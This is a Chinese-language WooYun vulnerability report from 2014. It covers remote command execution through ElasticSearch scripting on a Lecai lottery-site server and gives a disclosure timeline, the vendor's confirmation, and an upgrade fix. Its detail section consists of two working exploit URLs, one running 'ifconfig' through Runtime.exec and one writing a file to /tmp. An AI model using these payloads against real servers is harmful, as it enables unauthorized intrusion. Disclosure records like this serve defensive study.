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缺陷编号:wooyun-2014-062161

漏洞标题:乐彩网某服务器ElasticSearch命令执行漏洞

相关厂商:乐彩

漏洞作者: cmd

提交时间:2014-05-24 18:25

修复时间:2014-07-09 10:20

公开时间:2014-07-09 10:20

漏洞类型:命令执行

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

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漏洞详情

披露状态:

2014-05-24: 细节已通知厂商并且等待厂商处理中
2014-05-24: 厂商已经确认,细节仅向厂商公开
2014-06-03: 细节向核心白帽子及相关领域专家公开
2014-06-13: 细节向普通白帽子公开
2014-06-23: 细节向实习白帽子公开
2014-07-09: 细节向公众公开

简要描述:

乐彩网某服务器ElasticSearch命令执行漏洞

详细说明:

ElasticSearch存在命令执行漏洞
执行命令代码
http://xxx.com:9200/_search?source={%22size%22:1,%22query%22:{%22filtered%22:{%22query%22:{%22match_all%22:{}}}},%22script_fields%22:{%22exp%22:{%22script%22:%22import%20java.util.*;\nimport%20java.io.*;\nString%20str%20=%20\%22\%22;BufferedReader%20br%20=%20new%20BufferedReader(new%20InputStreamReader(Runtime.getRuntime().exec(\%22ifconfig\%22).getInputStream()));StringBuilder%20sb%20=%20new%20StringBuilder();while((str=br.readLine())!=null){sb.append(str);}sb.toString();%22}}}
写文件代码
http://xxx.com:9200/_search?source={%22size%22:1,%22query%22:{%22filtered%22:{%22query%22:{%22match_all%22:{}}}},%22script_fields%22:{%22exp%22:{%22script%22:%22import%20java.util.*;\nimport%20java.io.*;\nFile%20f%20=%20new%20File(\%22/tmp/12.txt\%22);if(f.exists()){\%22exists\%22.toString();}BufferedWriter%20bw%20=%20new%20BufferedWriter(new%20OutputStreamWriter(new%20FileOutputStream(f),\%22UTF-8\%22));bw.write(\%221233\%22);bw.flush();bw.close();if(f.exists()){\%22success\%22.toString();}%22}}}

漏洞证明:

lecai.png

修复方案:

升级最新版

版权声明:转载请注明来源 cmd@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2014-05-24 22:49

厂商回复:

感谢

最新状态:

暂无